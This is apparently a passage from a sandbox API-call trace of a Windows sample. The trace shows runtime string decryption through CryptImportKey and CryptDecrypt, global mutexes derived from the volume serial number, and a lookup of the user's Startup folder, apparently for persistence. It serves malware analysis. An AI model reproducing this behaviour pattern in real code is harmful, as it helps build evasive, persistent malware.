(lpTopLevelExceptionFilter=0xb881f6) returned 0x0 [0035.898] RtlSizeHeap (HeapHandle=0xab0000, Flags=0x0, MemoryPointer=0xab11f8) returned 0x80 [0035.898] GetLastError () returned 0x0 [0035.898] SetLastError (dwErrCode=0x0) [0035.898] GetLastError () returned 0x0 [0035.898] SetLastError (dwErrCode=0x0) [0035.898] GetLastError () returned 0x0 [0035.898] SetLastError (dwErrCode=0x0) [0035.898] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.899] SetLastError (dwErrCode=0x0) [0035.899] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.900] SetLastError (dwErrCode=0x0) [0035.900] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.901] GetLastError () returned 0x0 [0035.901] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.902] SetLastError (dwErrCode=0x0) [0035.902] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.903] SetLastError (dwErrCode=0x0) [0035.903] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.904] SetLastError (dwErrCode=0x0) [0035.904] GetLastError () returned 0x0 [0035.905] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x30) returned 0xab1280 [0035.905] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x2d40) returned 0xab2258 [0035.905] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x174) returned 0xab12b8 [0035.905] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab1438 [0035.905] CryptAcquireContextW (in: phProv=0xb8fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb8fcf0*=0x4c5018) returned 1 [0035.935] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af968*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af9d0 | out: phKey=0x1af9d0*=0x4c4fd8) returned 1 [0035.937] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af9b8, dwFlags=0x0) returned 1 [0035.937] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1438, pdwDataLen=0x1af984 | out: pbData=0xab1438, pdwDataLen=0x1af984) returned 1 [0035.939] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.939] GetTickCount () returned 0x1029aec [0035.939] GetLastError () returned 0x0 [0035.939] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x1af9f4, cchData=32 | out: lpLCData="\x03") returned 16 [0035.940] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1c) returned 0xab1450 [0035.940] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1c) returned 0xab1478 [0035.940] GetVersion () returned 0x1db10106 [0035.941] GetCurrentProcess () returned 0xffffffff [0035.941] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1af9dc | out: TokenHandle=0x1af9dc*=0x84) returned 1 [0035.941] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x1af9d4, TokenInformationLength=0x4, ReturnLength=0x1af9d8 | out: TokenInformation=0x1af9d4, ReturnLength=0x1af9d8) returned 1 [0035.941] CloseHandle (hObject=0x84) returned 1 [0035.941] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0035.941] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af938 | out: phKey=0x1af938*=0x4c4fd8) returned 1 [0035.941] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af920, dwFlags=0x0) returned 1 [0035.941] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af8ec | out: pbData=0xab14a0, pdwDataLen=0x1af8ec) returned 1 [0035.941] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.941] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0035.941] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0035.941] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0035.941] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af910 | out: phKey=0x1af910*=0x4c4fd8) returned 1 [0035.941] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af8f8, dwFlags=0x0) returned 1 [0035.941] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0x1af8c4 | out: pbData=0xab1518, pdwDataLen=0x1af8c4) returned 1 [0035.941] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.942] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0035.942] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.942] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0035.942] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.942] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af978, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af978*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.943] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0035.943] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af904*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af96c | out: phKey=0x1af96c*=0x4c4fd8) returned 1 [0035.943] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af954, dwFlags=0x0) returned 1 [0035.943] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af920 | out: pbData=0xab14a0, pdwDataLen=0x1af920) returned 1 [0035.943] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.943] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0035.943] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x0 [0035.943] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF00") returned 0x88 [0035.943] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0035.944] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.944] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0035.944] ReleaseMutex (hMutex=0x88) returned 1 [0035.944] CloseHandle (hObject=0x88) returned 1 [0035.944] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0035.944] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8e4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af94c | out: phKey=0x1af94c*=0x4c4fd8) returned 1 [0035.944] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af934, dwFlags=0x0) returned 1 [0035.944] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af900 | out: pbData=0xab14a0, pdwDataLen=0x1af900) returned 1 [0035.944] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.944] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0035.944] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0035.944] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0035.944] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af924 | out: phKey=0x1af924*=0x4c4fd8) returned 1 [0035.944] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af90c, dwFlags=0x0) returned 1 [0035.945] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0x1af8d8 | out: pbData=0xab1518, pdwDataLen=0x1af8d8) returned 1 [0035.945] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.945] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0035.945] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.945] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0035.946] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.946] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af98c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af98c*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.946] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0035.946] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0035.946] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af918*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af980 | out: phKey=0x1af980*=0x4c4fd8) returned 1 [0035.946] CryptSetKeyParam (hKey=0x4c4fd8, dwParam=0x1, pbData=0x1af968, dwFlags=0x0) returned 1 [0035.946] CryptDecrypt (in: hKey=0x4c4fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af934 | out: pbData=0xab14a0, pdwDataLen=0x1af934) returned 1 [0035.946] CryptDestroyKey (hKey=0x4c4fd8) returned 1 [0035.946] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0035.946] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0035.946] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x88 [0035.946] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0035.947] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.947] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0035.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb82019, lpParameter=0x1afa54, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90 [0035.948] Sleep (dwMilliseconds=0x1388) [0041.124] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0041.124] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af938 | out: phKey=0x1af938*=0x4cbfe8) returned 1 [0041.124] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af920, dwFlags=0x0) returned 1 [0041.124] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af8ec | out: pbData=0xab14a0, pdwDataLen=0x1af8ec) returned 1 [0041.124] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.124] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0041.124] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0041.124] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0041.124] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af910 | out: phKey=0x1af910*=0x4cbfe8) returned 1 [0041.124] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8f8, dwFlags=0x0) returned 1 [0041.124] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0x1af8c4 | out: pbData=0xab1518, pdwDataLen=0x1af8c4) returned 1 [0041.124] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.125] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0041.126] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.126] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0041.126] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0041.126] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af978, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af978*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.126] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0041.126] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0041.126] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af904*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af96c | out: phKey=0x1af96c*=0x4cbfe8) returned 1 [0041.127] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af954, dwFlags=0x0) returned 1 [0041.127] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af920 | out: pbData=0xab14a0, pdwDataLen=0x1af920) returned 1 [0041.127] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.127] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0041.127] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x98 [0041.127] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x102 [0041.127] CloseHandle (hObject=0x98) returned 1 [0041.127] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0041.128] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0041.128] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x60) returned 0xab14a0 [0041.128] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af928*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af990 | out: phKey=0x1af990*=0x4cbfe8) returned 1 [0041.128] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af978, dwFlags=0x0) returned 1 [0041.128] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af944 | out: pbData=0xab14a0, pdwDataLen=0x1af944) returned 1 [0041.128] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.128] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0041.128] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af900*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af968 | out: phKey=0x1af968*=0x4cbfe8) returned 1 [0041.128] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af950, dwFlags=0x0) returned 1 [0041.128] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x1af91c | out: pbData=0xab1508, pdwDataLen=0x1af91c) returned 1 [0041.128] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.128] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0041.128] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1558 [0041.128] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1580 [0041.128] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af940 | out: phKey=0x1af940*=0x4cbfe8) returned 1 [0041.128] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af928, dwFlags=0x0) returned 1 [0041.128] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1580, pdwDataLen=0x1af8f4 | out: pbData=0xab1580, pdwDataLen=0x1af8f4) returned 1 [0041.128] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1580 | out: hHeap=0xab0000) returned 1 [0041.129] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xab1530, nSize=0xf | out: lpDst="") returned 0x21 [0041.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1558 | out: hHeap=0xab0000) returned 1 [0041.129] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x3a) returned 0xab1530 [0041.129] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x3a) returned 0xab1578 [0041.129] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab15c0 [0041.129] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af93c | out: phKey=0x1af93c*=0x4cbfe8) returned 1 [0041.129] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af924, dwFlags=0x0) returned 1 [0041.129] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab15c0, pdwDataLen=0x1af8f0 | out: pbData=0xab15c0, pdwDataLen=0x1af8f0) returned 1 [0041.129] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab15c0 | out: hHeap=0xab0000) returned 1 [0041.130] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xab1530, nSize=0x1d | out: lpDst="") returned 0x21 [0041.130] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1578 | out: hHeap=0xab0000) returned 1 [0041.130] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab1530, Size=0x72) returned 0xab1530 [0041.130] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x72) returned 0xab15b0 [0041.130] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1630 [0041.130] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af93c | out: phKey=0x1af93c*=0x4cbfe8) returned 1 [0041.130] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af924, dwFlags=0x0) returned 1 [0041.130] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1630, pdwDataLen=0x1af8f0 | out: pbData=0xab1630, pdwDataLen=0x1af8f0) returned 1 [0041.130] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.131] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1630 | out: hHeap=0xab0000) returned 1 [0041.131] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xab1530, nSize=0x39 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x21 [0041.131] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab15b0 | out: hHeap=0xab0000) returned 1 [0041.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.132] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab15b0 [0041.132] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8fc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af964 | out: phKey=0x1af964*=0x4cbfe8) returned 1 [0041.132] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af94c, dwFlags=0x0) returned 1 [0041.132] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab15b0, pdwDataLen=0x1af918 | out: pbData=0xab15b0, pdwDataLen=0x1af918) returned 1 [0041.132] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.132] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x3e) returned 0xab15f8 [0041.132] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x3e) returned 0xab1640 [0041.132] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1688 [0041.132] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af93c | out: phKey=0x1af93c*=0x4cbfe8) returned 1 [0041.132] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af924, dwFlags=0x0) returned 1 [0041.132] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1688, pdwDataLen=0x1af8f0 | out: pbData=0xab1688, pdwDataLen=0x1af8f0) returned 1 [0041.132] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.132] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x10) returned 0xab1508 [0041.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b8 | out: phkResult=0x1af8b8*=0xbc) returned 0x0 [0041.132] RegQueryValueExW (in: hKey=0xbc, lpValueName="Startup", lpReserved=0x0, lpType=0x1af8b4, lpData=0xab1640, lpcbData=0x1af8bc*=0x3e | out: lpType=0x1af8b4*=0x2, lpData=0xab1640*=0xa0, lpcbData=0x1af8bc*=0x98) returned 0xea [0041.132] RegCloseKey (hKey=0xbc) returned 0x0 [0041.132] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.133] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1688 | out: hHeap=0xab0000) returned 1 [0041.133] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1640 | out: hHeap=0xab0000) returned 1 [0041.133] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab15f8, Size=0x7a) returned 0xab15f8 [0041.133] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x7a) returned 0xab1680 [0041.133] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1708 [0041.133] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af938 | out: phKey=0x1af938*=0x4cbfe8) returned 1 [0041.134] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af920, dwFlags=0x0) returned 1 [0041.134] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1708, pdwDataLen=0x1af8ec | out: pbData=0xab1708, pdwDataLen=0x1af8ec) returned 1 [0041.134] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.134] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x10) returned 0xab17a0 